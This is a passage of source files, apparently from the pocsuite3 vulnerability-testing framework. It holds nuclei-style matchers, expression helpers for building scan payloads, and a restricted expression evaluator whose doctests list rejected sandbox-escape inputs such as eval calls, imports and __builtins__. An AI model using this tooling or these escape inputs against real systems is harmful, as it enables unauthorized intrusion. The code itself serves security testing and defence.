False, []\n\n\ndef match_binary(matcher: Matcher, corpus: bytes) -> (bool, list):\n    \"\"\"Matches a binary check against a corpus\n    \"\"\"\n    matched_binary = []\n    for i, binary in enumerate(matcher.binary):\n        binary = binascii.unhexlify(binary)\n        if binary not in corpus:\n            if matcher.condition == 'and':\n                return False, []\n            elif matcher.condition == 'or':\n                continue\n\n        if matcher.condition == 'or':\n            return True, [binary]\n\n        matched_binary.append(binary)\n        if len(matcher.binary) - 1 == i:\n            return True, matched_binary\n\n    return False, []\n\n\ndef match_dsl(matcher: Matcher, data: dict) -> bool:\n    \"\"\"Matches on a generic map result\n    \"\"\"\n    for i, expression in enumerate(matcher.dsl):\n        result = evaluate(f'{Marker.ParenthesisOpen}{expression}{Marker.ParenthesisClose}', data)\n        if not isinstance(result, bool):\n            if matcher.condition == 'and':\n                return False\n            elif matcher.condition == 'or':\n                continue\n\n        if result is False:\n            if matcher.condition == 'and':\n                return False\n            elif matcher.condition == 'or':\n                continue\n\n        if len(matcher.dsl) - 1 == i:\n            return True\n    return False\n\n\ndef match_xpath(matcher: Matcher, body: str) -> (bool, list):\n    \"\"\"Matches xpath check against a body.\n    \"\"\"\n    # Convert the body string to etree.HTML object for xpath manipulations\n    if body is None:\n        return False\n    body_tree = html.fromstring(body)\n    matched_xpaths = []\n\n    for i, xpath_pattern in enumerate(matcher.xpath):\n        try:\n            # Applying xpath on the HTML and capturing the result\n            result = body_tree.xpath(xpath_pattern)\n            if not result:\n                # If result is empty, the xpath expression did not match anything in the HTML body\n                if matcher.condition == 'and':\n                    return False, []\n                elif matcher.condition == 'or':\n                    continue\n\n            if matcher.condition == 'or' and not matcher.match_all:\n                return True, [result]\n\n            matched_xpaths.append(result)\n\n            if len(matcher.xpath) - 1 == i and not matcher.match_all:\n                return True, matched_xpaths\n\n        except Exception as e:\n            print(f\"Error while matching with XPath {xpath_pattern}. Error: {str(e)}\")\n\n    if len(matched_xpaths) > 0 and matcher.match_all:\n        return True, matched_xpaths\n\n    return False, []\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py",
    "content": "import base64 as py_built_in_base64\nimport binascii\nimport datetime\nimport gzip as py_built_in_gzip\nimport hashlib\nimport hmac as py_hmac\nimport html\nimport inspect\nimport random\nimport re\nimport string\nimport time\nimport urllib.parse\nimport zlib as py_built_in_zlib\nfrom functools import wraps\nfrom typing import get_type_hints, Union\n\nimport chardet\nfrom packaging.version import parse as parse_version\nfrom pocsuite3.lib.core.log import LOGGER as logger\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions.safe_eval import safe_eval\n\nUNRESOLVED_VARIABLE = '---UNRESOLVED-VARIABLE---'\n\n\nclass Marker:\n    # General marker (open/close)\n    General = \"§\"\n    # ParenthesisOpen marker - begin of a placeholder\n    ParenthesisOpen = \"{{\"\n    # ParenthesisClose marker - end of a placeholder\n    ParenthesisClose = \"}}\"\n\n    def extract_timeout_value(raw_timeout: str) -> int:\n        match = re.search(r'@timeout:?(\\d+)s', raw_timeout, re.IGNORECASE)\n        if match:\n            return int(match.group(1))\n        return None\n\n\ndef auto_convert_types(func):\n    @wraps(func)\n    def check_and_convert_args(*args, **kwargs):\n        # Get the function's parameter names and types\n        signature = inspect.signature(func)\n        parameter_types = get_type_hints(func)\n\n        # Convert args to a list so we can modify its elements\n        args_list = list(args)\n\n        # Check and convert positional arguments\n        for i, (arg_name, arg_value) in enumerate(zip(signature.parameters.keys(), args)):\n            arg_type = parameter_types.get(arg_name)\n            if arg_type and not isinstance(arg_value, arg_type):\n                try:\n                    if arg_type is str and isinstance(arg_value, bytes):\n                        try:\n                            encoding = chardet.detect(arg_value)['encoding'] or 'utf-8'\n                            args_list[i] = arg_value.decode(encoding)\n                        except Exception:\n                            args_list[i] = str(arg_value)\n                    elif arg_type is bytes and isinstance(arg_value, str):\n                        args_list[i] = arg_value.encode('utf-8')\n                except ValueError:\n                    pass\n        # Check and convert keyword arguments\n        for arg_name, arg_value in kwargs.items():\n            arg_type = parameter_types.get(arg_name)\n            if arg_type and not isinstance(arg_value, arg_type):\n                try:\n                    if arg_type is str and isinstance(arg_value, bytes):\n                        try:\n                            encoding = chardet.detect(arg_value)['encoding'] or 'utf-8'\n                            kwargs[arg_name] = arg_value.decode(encoding)\n                        except Exception:\n                            kwargs[arg_name] = str(arg_value)\n                    elif arg_type is bytes and isinstance(arg_value, str):\n                        kwargs[arg_name] = arg_value.encode('utf-8')\n                except ValueError:\n                    pass\n        # Call the original function with the potentially converted arguments\n        return func(*args_list, **kwargs)\n\n    return check_and_convert_args\n\n\ndef aes_gcm(key: Union[bytes, str], plaintext: Union[bytes, str]) -> bytes:\n    \"\"\"\n    AES GCM encrypts a string with key\n\n    Example:\n        Input: {{hex_encode(aes_gcm(\"AES256Key-32Characters1234567890\", \"exampleplaintext\"))}}\n        Output: ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4\n    \"\"\"\n    # TODO\n    raise NotImplementedError\n\n\ndef base64(src: Union[bytes, str]) -> str:\n    \"\"\"Base64 encodes a string\n\n    Example:\n        Input: base64(\"Hello\")\n        Output: SGVsbG8=\n    \"\"\"\n    if not isinstance(src, bytes):\n        src = src.encode('utf-8')\n    return py_built_in_base64.b64encode(src).decode('utf-8')\n\n\ndef base64_decode(src: Union[bytes, str]) -> bytes:\n    \"\"\"\n    Base64 decodes a string\n\n    Example:\n        Input: base64_decode(\"SGVsbG8=\")\n        Output: b\"Hello\"\n    \"\"\"\n    return py_built_in_base64.b64decode(src)\n\n\ndef base64_py(src: Union[bytes, str]) -> str:\n    \"\"\"\n    Encodes string to base64 like python (with new lines)\n\n    Example:\n        Input: base64_py(\"Hello\")\n        Output: \"SGVsbG8=\\n\"\n    \"\"\"\n    if not isinstance(src, bytes):\n        src = src.encode('utf-8')\n    return py_built_in_base64.encodebytes(src).decode('utf-8')\n\n\n@auto_convert_types\ndef concat(*arguments: str) -> str:\n    \"\"\"\n    Concatenates the given number of arguments to form a string\n\n    Example:\n        Input: concat(\"Hello\", 123, \"world)\n        Output: Hello123world\n    \"\"\"\n    return ''.join(map(str, arguments))\n\n\n@auto_convert_types\ndef compare_versions(version_to_check: str, *constraints: str) -> bool:\n    \"\"\"\n    Compares the first version argument with the provided constraints\n\n    Example:\n        Input: compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')\n        Output: True\n    \"\"\"\n    v1 = parse_version(version_to_check)\n    for constraint in constraints:\n        constraint = constraint.replace('==', '=')\n        operator = re.findall(r'^[<>=]*', constraint)[0]\n        if not operator:\n            operator = '='\n        v2 = parse_version(constraint.lstrip('<>='))\n        if v1 < v2 and operator not in ['<', '<=']:\n            return False\n        elif v1 == v2 and operator not in ['=', '<=', '>=']:\n            return False\n        elif v1 > v2 and operator not in ['>', '>=']:\n            return False\n    return True\n\n\n@auto_convert_types\ndef contains(inp: str, substring: str) -> bool:\n    \"\"\"\n    Verifies if a string contains a substring\n\n    Example:\n        Input: contains(\"Hello\", \"lo\")\n        Output: True\n    \"\"\"\n    return substring in inp\n\n\n@auto_convert_types\ndef contains_all(inp: str, *substrings: str) -> bool:\n    \"\"\"\n    Verify if any input contains all the substrings\n\n    Example:\n        Input: contains_all(\"Hello everyone\", \"lo\", \"every\")\n        Output: True\n    \"\"\"\n    return all(map(lambda s: s in inp, substrings))\n\n\n@auto_convert_types\ndef contains_any(inp: str, *substrings: str) -> bool:\n    \"\"\"\n    Verifies if an input contains any of substrings\n\n    Example:\n        Input: contains_any(\"Hello everyone\", \"abc\", \"llo\")\n        Output: True\n    \"\"\"\n    return any(map(lambda s: s in inp, substrings))\n\n\ndef dec_to_hex(number: Union[str, int]) -> str:\n    \"\"\"\n    Transforms the input number into hexadecimal format\n\n    Example:\n        Input: dec_to_hex(7001)\n        Output: 1b59\n    \"\"\"\n    if not isinstance(number, int):\n        number = int(number)\n    return hex(number)[2:]\n\n\ndef hex_to_dec(hex_number: Union[str, int]) -> int:\n    \"\"\"\n    Transforms the input hexadecimal number into decimal format\n\n    Example:\n        Input: hex_to_dec(\"ff\")\n               hex_to_dec(\"0xff\")\n        Output: 255\n    \"\"\"\n    return int(str(hex_number), 16)\n\n\ndef bin_to_dec(binary_number: Union[str, int]) -> int:\n    \"\"\"\n    Transforms the input binary number into a decimal format\n\n    Example:\n        Input: bin_to_dec(\"0b1010\")\n               bin_to_dec(1010)\n        Output: 10\n    \"\"\"\n    return int(str(binary_number), 2)\n\n\ndef oct_to_dec(octal_number: Union[str, int]) -> int:\n    \"\"\"\n    Transforms the input octal number into a decimal format\n\n    Example:\n        Input: oct_to_dec(\"0o1234567\")\n               oct_to_dec(1234567)\n        Output: 342391\n    \"\"\"\n    return int(str(octal_number), 8)\n\n\ndef generate_java_gadget(gadget: str, cmd: str, encoding: str) -> str:\n    \"\"\"\n    Generates a Java Deserialization Gadget\n\n    Example:\n        Input: generate_java_gadget(\"dns\", \"{{interactsh-url}}\", \"base64\")\n    \"\"\"\n    # TODO\n    raise NotImplementedError\n\n\ndef gzip(inp: Union[str, bytes]) -> bytes:\n    \"\"\"\n    Compresses the input using GZip\n\n    Example:\n        Input: base64(gzip(\"Hello\"))\n        Output: H4sIAI9GUGMC//NIzcnJBwCCidH3BQAAAA==\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n    return py_built_in_gzip.compress(inp)\n\n\n@auto_convert_types\ndef gzip_decode(inp: bytes) -> bytes:\n    \"\"\"\n    Decompresses the input using GZip\n\n    Example:\n        Input: gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\"))\n        Output: b\"Hello\"\n    \"\"\"\n    return py_built_in_gzip.decompress(inp)\n\n\ndef zlib(inp: Union[str, bytes]) -> bytes:\n    \"\"\"\n    Compresses the input using Zlib\n\n    Example:\n        Input: base64(zlib(\"Hello\"))\n        Output: eJzzSM3JyQcABYwB9Q==\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n    return py_built_in_zlib.compress(inp)\n\n\n@auto_convert_types\ndef zlib_decode(inp: bytes) -> bytes:\n    \"\"\"\n    Decompresses the input using Zlib\n\n    Example:\n        Input: zlib_decode(hex_decode(\"789cf248cdc9c907040000ffff058c01f5\"))\n        Output: b\"Hello\"\n    \"\"\"\n    return py_built_in_zlib.decompress(inp)\n\n\n@auto_convert_types\ndef hex_decode(inp: str) -> bytes:\n    \"\"\"\n    Hex decodes the given input\n\n    Example:\n        Input: hex_decode(\"6161\")\n        Output: b\"aa\"\n    \"\"\"\n    return binascii.unhexlify(inp)\n\n\ndef hex_encode(inp: Union[str, bytes]) -> str:\n    \"\"\"\n    Hex encodes the given input\n\n    Example:\n        Input: hex_encode(\"aa\")\n        Output: 6161\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n    return binascii.hexlify(inp).decode('utf-8')\n\n\n@auto_convert_types\ndef html_escape(inp: str) -> str:\n    \"\"\"\n    HTML escapes the given input\n\n    Example:\n        Input: html_escape(\"<body>test</body>\")\n        Output: &lt;body&gt;test&lt;/body&gt;\n    \"\"\"\n    return html.escape(inp)\n\n\n@auto_convert_types\ndef html_unescape(inp: str) -> str:\n    \"\"\"\n    HTML un-escapes the given input\n\n    Example:\n        Input: html_unescape(\"&lt;body&gt;test&lt;/body&gt;\")\n        Output: <body>test</body>\n    \"\"\"\n    return html.unescape(inp)\n\n\ndef md5(inp: Union[str, bytes]) -> str:\n    \"\"\"\n    Calculates the MD5 (Message Digest) hash of the input\n\n    Example:\n        Input: md5(\"Hello\")\n        Output: 8b1a9953c4611296a827abf8c47804d7\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n    m = hashlib.md5()\n    m.update(inp)\n    return m.hexdigest()\n\n\n@auto_convert_types\ndef mmh3(inp: str) -> str:\n    \"\"\"\n    Calculates the MMH3 (MurmurHash3) hash of an input\n\n    Example:\n        Input: mmh3(\"Hello\")\n        Output: \"316307400\"\n    \"\"\"\n\n    try:\n        import mmh3 as py_mmh3\n    except ImportError:\n        logger.error('Python extension for MurmurHash (MurmurHash3) is not installed. '\n                     'Reason: https://github.com/knownsec/pocsuite3/issues/359, '\n                     'You can locate the packages here: https://pypi.org/project/mmh3/')\n        return \"0\"\n\n    return str(py_mmh3.hash(inp))\n\n\ndef print_debug(*args) -> None:\n    \"\"\"\n    Prints the value of a given input or expression. Used for debugging.\n\n    Example:\n        Input: print_debug(1+2, \"Hello\")\n        Output: 3 Hello\n    \"\"\"\n    # TODO\n    raise NotImplementedError\n\n\ndef rand_base(length: int, optional_charset: str = string.ascii_letters + string.digits) -> str:\n    \"\"\"\n    Generates a random sequence of given length string from an optional charset (defaults to letters and numbers)\n\n    Example:\n        Input: rand_base(5, \"abc\")\n        Output: caccb\n    \"\"\"\n    return ''.join(random.choice(optional_charset) for _ in range(length))\n\n\ndef rand_char(optional_charset: str = string.ascii_letters + string.digits) -> str:\n    \"\"\"\n    Generates a random character from an optional character set (defaults to letters and numbers)\n\n    Example:\n        Input: rand_char(\"abc\")\n        Output: a\n    \"\"\"\n    return random.choice(optional_charset)\n\n\ndef rand_int(optional_min: int = 0, optional_max: int = 2147483647) -> int:\n    \"\"\"\n    Generates a random integer between the given optional limits (defaults to 0 - MaxInt32)\n\n    Example:\n        Input: rand_int(1, 10)\n        Output: 6\n    \"\"\"\n    return random.randint(optional_min, optional_max)\n\n\ndef rand_text_alpha(length: int, optional_bad_chars: str = '') -> str:\n    \"\"\"\n    Generates a random string of letters, of given length, excluding the optional cutset characters\n\n    Example:\n        Input: rand_text_alpha(10, \"abc\")\n        Output: WKozhjJWlJ\n    \"\"\"\n    charset = ''.join(i if i not in optional_bad_chars else '' for i in string.ascii_letters)\n    return ''.join(random.choice(charset) for _ in range(length))\n\n\ndef rand_text_alphanumeric(length: int, optional_bad_chars: str = '') -> str:\n    \"\"\"\n    Generates a random alphanumeric string, of given length without the optional cutset characters\n\n    Example:\n        Input: rand_text_alphanumeric(10, \"ab12\")\n        Output: NthI0IiY8r\n    \"\"\"\n    charset = ''.join(i if i not in optional_bad_chars else '' for i in string.ascii_letters + string.digits)\n    return ''.join(random.choice(charset) for _ in range(length))\n\n\ndef rand_text_numeric(length: int, optional_bad_numbers: str = '') -> str:\n    \"\"\"\n    Generates a random numeric string of given length without the optional set of undesired numbers\n\n    Example:\n        Input: rand_text_numeric(10, 123)\n        Output: 0654087985\n    \"\"\"\n    charset = ''.join(i if i not in optional_bad_numbers else '' for i in string.digits)\n    return ''.join(random.choice(charset) for _ in range(length))\n\n\n@auto_convert_types\ndef regex(pattern: str, inp: str) -> bool:\n    \"\"\"\n    Tests the given regular expression against the input string\n\n    Example:\n        Input: regex(\"H([a-z]+)o\", \"Hello\")\n        Output: True\n    \"\"\"\n    return list(filter(lambda item: item.strip() != \"\", re.findall(pattern, inp, re.IGNORECASE))) != []\n\n\n@auto_convert_types\ndef remove_bad_chars(inp: str, cutset: str) -> str:\n    \"\"\"\n    Removes the desired characters from the input\n\n    Example:\n        Input: remove_bad_chars(\"abcd\", \"bc\")\n        Output: ad\n    \"\"\"\n    return ''.join(i if i not in cutset else '' for i in inp)\n\n\n@auto_convert_types\ndef repeat(inp: str, count: int) -> str:\n    \"\"\"\n    Repeats the input string the given amount of times\n\n    Example:\n        Input: repeat(\"../\", 5)\n        Output: ../../../../../\n    \"\"\"\n    return inp * count\n\n\n@auto_convert_types\ndef replace(inp: str, old: str, new: str) -> str:\n    \"\"\"\n    Replaces a given substring in the given input\n\n    Example:\n        Input: replace(\"Hello\", \"He\", \"Ha\")\n        Output: Hallo\n    \"\"\"\n    return inp.replace(old, new)\n\n\n@auto_convert_types\ndef replace_regex(source: str, pattern: str, replacement: str) -> str:\n    \"\"\"\n    Replaces substrings matching the given regular expression in the input\n\n    Example:\n        Input: replace_regex(\"He123llo\", \"(\\\\d+)\", \"\")\n        Output: Hello\n    \"\"\"\n    return re.sub(pattern, replacement, source)\n\n\n@auto_convert_types\ndef reverse(inp: str) -> str:\n    \"\"\"\n    Reverses the given input\n\n    Example:\n        Input: reverse(\"abc\")\n        Output: cba\n    \"\"\"\n    return inp[::-1]\n\n\ndef sha1(inp: Union[bytes, str]) -> str:\n    \"\"\"\n    Calculates the SHA1 (Secure Hash 1) hash of the input\n\n    Example:\n        Input: sha1(\"Hello\")\n        Output: f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n\n    s = hashlib.sha1()\n    s.update(inp)\n    return s.hexdigest()\n\n\ndef sha256(inp: Union[bytes, str]) -> str:\n    \"\"\"\n    Calculates the SHA256 (Secure Hash 256) hash of the input\n\n    Example:\n        Input: sha256(\"Hello\")\n        Output: 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969\n    \"\"\"\n    if not isinstance(inp, bytes):\n        inp = inp.encode('utf-8')\n\n    s = hashlib.sha256()\n    s.update(inp)\n    return s.hexdigest()\n\n\n@auto_convert_types\ndef to_lower(inp: str) -> str:\n    \"\"\"\n    Transforms the input into lowercase characters\n\n    Example:\n        Input: to_lower(\"HELLO\")\n        Output: hello\n    \"\"\"\n    return inp.lower()\n\n\n@auto_convert_types\ndef to_upper(inp: str) -> str:\n    \"\"\"\n    Transforms the input into uppercase characters\n\n    Example:\n        Input: to_upper(\"hello\")\n        Output: HELLO\n    \"\"\"\n    return inp.upper()\n\n\n@auto_convert_types\ndef trim(inp: str, cutset: str) -> str:\n    \"\"\"\n    Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed\n\n    Example:\n        Input: trim(\"aaaHelloddd\", \"ad\")\n        Output: Hello\n    \"\"\"\n    return inp.strip(cutset)\n\n\n@auto_convert_types\ndef trim_left(inp: str, cutset: str) -> str:\n    \"\"\"\n    Returns a slice of the input with all leading Unicode code points contained in cutset removed\n\n    Example:\n        Input: trim_left(\"aaaHelloddd\", \"ad\")\n        Output: Helloddd\n    \"\"\"\n    return inp.lstrip(cutset)\n\n\n@auto_convert_types\ndef trim_prefix(inp: str, prefix: str) -> str:\n    \"\"\"\n    Returns the input without the provided leading prefix string\n\n    Example:\n        Input: trim_prefix(\"aaHelloaa\", \"aa\")\n        Output: Helloaa\n    \"\"\"\n    if inp.startswith(prefix):\n        return inp[len(prefix):]\n    return inp\n\n\n@auto_convert_types\ndef trim_right(inp: str, cutset: str) -> str:\n    \"\"\"\n    Returns a string, with all trailing Unicode code points contained in cutset removed\n\n    Example:\n        Input: trim_right(\"aaaHelloddd\", \"ad\")\n        Output: aaaHello\n    \"\"\"\n    return inp.rstrip(cutset)\n\n\n@auto_convert_types\ndef trim_space(inp: str) -> str:\n    \"\"\"\n    Returns a string, with all leading and trailing white space removed, as defined by Unicode\n\n    Example:\n        Input: trim_space(\" Hello \")\n        Output: Hello\n    \"\"\"\n    return inp.strip()\n\n\n@auto_convert_types\ndef trim_suffix(inp: str, suffix: str) -> str:\n    \"\"\"\n    Returns input without the provided trailing suffix string\n\n    Example:\n        Input: trim_suffix(\"aaHelloaa\", \"aa\")\n        Output: aaHello\n    \"\"\"\n    if inp.endswith(suffix):\n        return inp[:-len(suffix)]\n    return inp\n\n\ndef unix_time(optional_seconds: int = 0) -> int:\n    \"\"\"\n    Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds\n\n    Example:\n        Input: unix_time(10)\n        Output: 1639568278\n    \"\"\"\n    return int(time.time()) + optional_seconds\n\n\n@auto_convert_types\ndef url_decode(inp: str) -> str:\n    \"\"\"\n    URL decodes the input string\n    Example:\n        Input: url_decode(\"https:%2F%2Fprojectdiscovery.io%3Ftest=1\")\n        Output: https://projectdiscovery.io?test=1\n    \"\"\"\n    return urllib.parse.unquote_plus(inp)\n\n\n@auto_convert_types\ndef url_encode(inp: str) -> str:\n    \"\"\"\n    URL encodes the input string\n\n    Example:\n        Input: url_encode(\"https://projectdiscovery.io/test?a=1\")\n        Output: https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1\n    \"\"\"\n    return urllib.parse.quote_plus(inp)\n\n\ndef wait_for(seconds: int) -> bool:\n    \"\"\"\n    Pauses the execution for the given amount of seconds\n\n    Example:\n        Input: wait_for(10)\n        Output: True\n    \"\"\"\n    time.sleep(seconds)\n    return True\n\n\n@auto_convert_types\ndef join(separator: str, *elements: str) -> str:\n    \"\"\"\n    Joins the given elements using the specified separator\n\n    Example:\n        Input: join(\"_\", 123, \"hello\", \"world\")\n        Output: 123_hello_world\n    \"\"\"\n    return separator.join(map(str, elements))\n\n\ndef hmac(algorithm: str, data: Union[bytes, str], secret: Union[bytes, str]) -> str:\n    \"\"\"\n    hmac function that accepts a hashing function type with data and secret\n\n    Example:\n        Input: hmac(\"sha1\", \"test\", \"scrt\")\n        Output: 8856b111056d946d5c6c92a21b43c233596623c6\n    \"\"\"\n    if not isinstance(data, bytes):\n        data = data.encode('utf-8')\n    if not isinstance(secret, bytes):\n        secret = secret.encode('utf-8')\n\n    return py_hmac.new(secret, data, algorithm).hexdigest()\n\n\ndef date_time(date_time_format: str, optional_unix_time: int = int(time.time())) -> str:\n    \"\"\"\n    Returns the formatted date time using simplified or go style layout for the current or the given unix time\n\n    Example:\n        Input: date_time(\"%Y-%m-%d %H:%M\")\n               date_time(\"%Y-%m-%d %H:%M\", 1654870680)\n        Output: 2022-06-10 14:18\n    \"\"\"\n    return datetime.datetime.utcfromtimestamp(optional_unix_time).strftime(date_time_format)\n\n\n@auto_convert_types\ndef to_unix_time(inp: str, layout: str = \"%Y-%m-%d %H:%M:%S\") -> int:\n    \"\"\"\n    Parses a string date time using default or user given layouts, then returns its Unix timestamp\n\n    Example:\n        Input: to_unix_time(\"2022-01-13 16:30:10\")\n        Output: 1642091410\n    \"\"\"\n    return int(time.mktime(datetime.datetime.strptime(inp, layout).timetuple()))\n\n\n@auto_convert_types\ndef starts_with(inp: str, *prefix: str) -> bool:\n    \"\"\"\n    Checks if the string starts with any of the provided substrings\n\n    Example:\n        Input: starts_with(\"Hello\", \"He\")\n        Output: True\n    \"\"\"\n    return any(inp.startswith(p) for p in prefix)\n\n\n@auto_convert_types\ndef line_starts_with(inp: str, *prefix: str) -> bool:\n    \"\"\"\n    Checks if any line of the string starts with any of the provided substrings\n\n    Example:\n        Input: line_starts_with(\"Hi\\nHello\", \"He\")\n        Output: True\n    \"\"\"\n    for line in inp.splitlines():\n        for p in prefix:\n            if line.startswith(p):\n                return True\n    return False\n\n\n@auto_convert_types\ndef ends_with(inp: str, *suffix: str) -> bool:\n    \"\"\"\n    Checks if the string ends with any of the provided substrings\n\n    Example:\n        Input: ends_with(\"Hello\", \"lo\")\n        Output: True\n    \"\"\"\n    return any(inp.endswith(s) for s in suffix)\n\n\n@auto_convert_types\ndef line_ends_with(inp: str, *suffix: str) -> bool:\n    \"\"\"\n    Checks if any line of the string ends with any of the provided substrings\n\n    Example:\n        Input: line_ends_with(\"Hello\\nHi\", \"lo\")\n        Output: True\n    \"\"\"\n    for line in inp.splitlines():\n        for s in suffix:\n            if line.endswith(s):\n                return True\n    return False\n\n\ndef evaluate(inp: str, dynamic_values: dict = None) -> str:\n    \"\"\"\n    evaluate checks if the match contains a dynamic variable, for each\n    found one we will check if it's an expression and can be compiled,\n    it will be evaluated and the results will be returned.\n    \"\"\"\n\n    if dynamic_values is None:\n        dynamic_values = {}\n\n    variables = {\n        'aes_gcm': aes_gcm,\n        'base64': base64,\n        'base64_decode': base64_decode,\n        'base64_py': base64_py,\n        'concat': concat,\n        'compare_versions': compare_versions,\n        'contains': contains,\n        'contains_all': contains_all,\n        'contains_any': contains_any,\n        'dec_to_hex': dec_to_hex,\n        'hex_to_dec': hex_to_dec,\n        'bin_to_dec': bin_to_dec,\n        'oct_to_dec': oct_to_dec,\n        'generate_java_gadget': generate_java_gadget,\n        'gzip': gzip,\n        'gzip_decode': gzip_decode,\n        'zlib': zlib,\n        'zlib_decode': zlib_decode,\n        'hex_decode': hex_decode,\n        'hex_encode': hex_encode,\n        'html_escape': html_escape,\n        'html_unescape': html_unescape,\n        'md5': md5,\n        'mmh3': mmh3,\n        'print_debug': print_debug,\n        'rand_base': rand_base,\n        'rand_char': rand_char,\n        'rand_int': rand_int,\n        'rand_text_alpha': rand_text_alpha,\n        'rand_text_alphanumeric': rand_text_alphanumeric,\n        'rand_text_numeric': rand_text_numeric,\n        'regex': regex,\n        'remove_bad_chars': remove_bad_chars,\n        'repeat': repeat,\n        'replace': replace,\n        'replace_regex': replace_regex,\n        'reverse': reverse,\n        'sha1': sha1,\n        'sha256': sha256,\n        'to_lower': to_lower,\n        'to_upper': to_upper,\n        'trim': trim,\n        'trim_left': trim_left,\n        'trim_prefix': trim_prefix,\n        'trim_right': trim_right,\n        'trim_space': trim_space,\n        'trim_suffix': trim_suffix,\n        'unix_time': unix_time,\n        'url_decode': url_decode,\n        'url_encode': url_encode,\n        'wait_for': wait_for,\n        'join': join,\n        'hmac': hmac,\n        'date_time': date_time,\n        'to_unix_time': to_unix_time,\n        'starts_with': starts_with,\n        'line_starts_with': line_starts_with,\n        'ends_with': ends_with,\n        'line_ends_with': line_ends_with,\n    }\n    variables.update(dynamic_values)\n    open_marker, close_marker = Marker.ParenthesisOpen, Marker.ParenthesisClose\n    expressions = {}\n    max_iterations, iterations = 250, 0\n    data = inp\n\n    while iterations <= max_iterations:\n        iterations += 1\n        index_open_marker = data.find(open_marker)\n        if index_open_marker < 0:\n            break\n\n        index_open_marker_offset = index_open_marker + len(open_marker)\n        should_search_close_marker = True\n        close_marker_found = False\n        inner_data = data\n        skip = index_open_marker_offset\n\n        while should_search_close_marker:\n            index_close_marker = inner_data.find(close_marker, skip)\n            if index_close_marker < 0:\n                should_search_close_marker = False\n                continue\n            index_close_marker_offset = index_close_marker + len(close_marker)\n            potential_match = inner_data[index_open_marker_offset:index_close_marker]\n            try:\n                result = safe_eval(potential_match, variables)\n\n                if UNRESOLVED_VARIABLE in str(result):\n                    return UNRESOLVED_VARIABLE\n                expressions[potential_match] = result\n                close_marker_found = True\n                should_search_close_marker = False\n            except Exception:\n                import traceback\n                traceback.print_exc()\n                skip = index_close_marker_offset\n\n        if close_marker_found:\n            data = data[index_close_marker_offset:]\n        else:\n            data = data[index_open_marker_offset:]\n\n    result = inp\n    for k, v in expressions.items():\n        logger.debug(f'[+] Expressions: {k} -> {v}')\n        k = f'{open_marker}{k}{close_marker}'\n        if k == inp:\n            return v\n        elif isinstance(v, bytes):\n            if not isinstance(result, bytes):\n                result = result.encode()\n            k = k.encode()\n            result = result.replace(k, v)\n        else:\n            result = result.replace(k, str(v))\n    return result\n\n\nif __name__ == '__main__':\n    print(evaluate(\"{{to_lower(rand_base(5))}}\"))\n    print(evaluate(\"{{base64('World')}}\"))\n    print(evaluate(\"{{base64(Hello)}}\", {'Hello': 'World'}))\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/common/expressions/safe_eval.py",
    "content": "import re\nfrom ast import (\n    Module,\n    parse,\n    walk,\n)\n\nfrom pocsuite3.lib.core.log import LOGGER as logger\n\nAST_NODE_TYPE_ALLOWLIST = [\n    'Expr', 'Load', 'Str', 'Num', 'BoolOp', 'Compare', 'And', 'Eq', 'NotEq', 'Or', 'GtE', 'LtE', 'Lt',\n    'Gt', 'BinOp', 'Add', 'Div', 'Sub', 'Mult', 'Mod', 'Pow', 'LShift', 'GShift', 'BitAnd', 'BitOr',\n    'BitXor', 'UnaryOp', 'Invert', 'Not', 'NotIn', 'In', 'Is', 'IsNot', 'List', 'Index', 'Subscript',\n    'Constant', 'Name', 'Call', 'Attribute']\n\nBUILTIN_AND_MATH_FUNCTIONS = [\n    'abs', 'all', 'any', 'bin', 'chr', 'cmp', 'complex', 'divmod', 'float', 'hex', 'int', 'len',\n    'long', 'max', 'min', 'oct', 'ord', 'pow', 'range', 'reversed', 'round', 'sorted', 'str', 'sum',\n    'type', 'unichr', 'unicode', 'log', 'exp', 'sqrt', 'ceil', 'floor']\n\nSTRING_AND_LIST_METHODS = [name for name in dir(\"\") + dir([]) if not name.startswith(\"_\")]\nVALID_FUNCTIONS = BUILTIN_AND_MATH_FUNCTIONS + STRING_AND_LIST_METHODS\n\n\ndef _check_name(ast_node, allowed_variables=None):\n    if allowed_variables is None:\n        allowed_variables = []\n    name = ast_node.id\n    return name in VALID_FUNCTIONS + allowed_variables\n\n\ndef _check_attribute(ast_node):\n    attribute_name = ast_node.attr\n    if attribute_name not in STRING_AND_LIST_METHODS:\n        return False\n    return True\n\n\ndef _check_call(ast_node, allowed_variables=None):\n    if allowed_variables is None:\n        allowed_variables = []\n    # If we are calling a function or method, it better be a math,\n    # string or list function.\n    ast_func = ast_node.func\n    ast_func_class = ast_func.__class__.__name__\n    if ast_func_class == \"Name\":\n        if ast_func.id not in BUILTIN_AND_MATH_FUNCTIONS + allowed_variables:\n            return False\n    elif ast_func_class == \"Attribute\":\n        if not _check_attribute(ast_func):\n            return False\n    else:\n        return False\n\n    return True\n\n\ndef _check_expression(text, allowed_variables=None):\n    \"\"\"\n\n    >>> allowed_variables = [\"c1\", \"c2\", \"c3\", \"c4\", \"c5\"]\n    >>> _check_expression(\"c1\", allowed_variables)\n    True\n    >>> _check_expression(\"eval('1+1')\", allowed_variables)\n    False\n    >>> _check_expression(\"import sys\", allowed_variables)\n    False\n    >>> _check_expression(\"[].__str__\", allowed_variables)\n    False\n    >>> _check_expression(\"__builtins__\", allowed_variables)\n    False\n    >>> 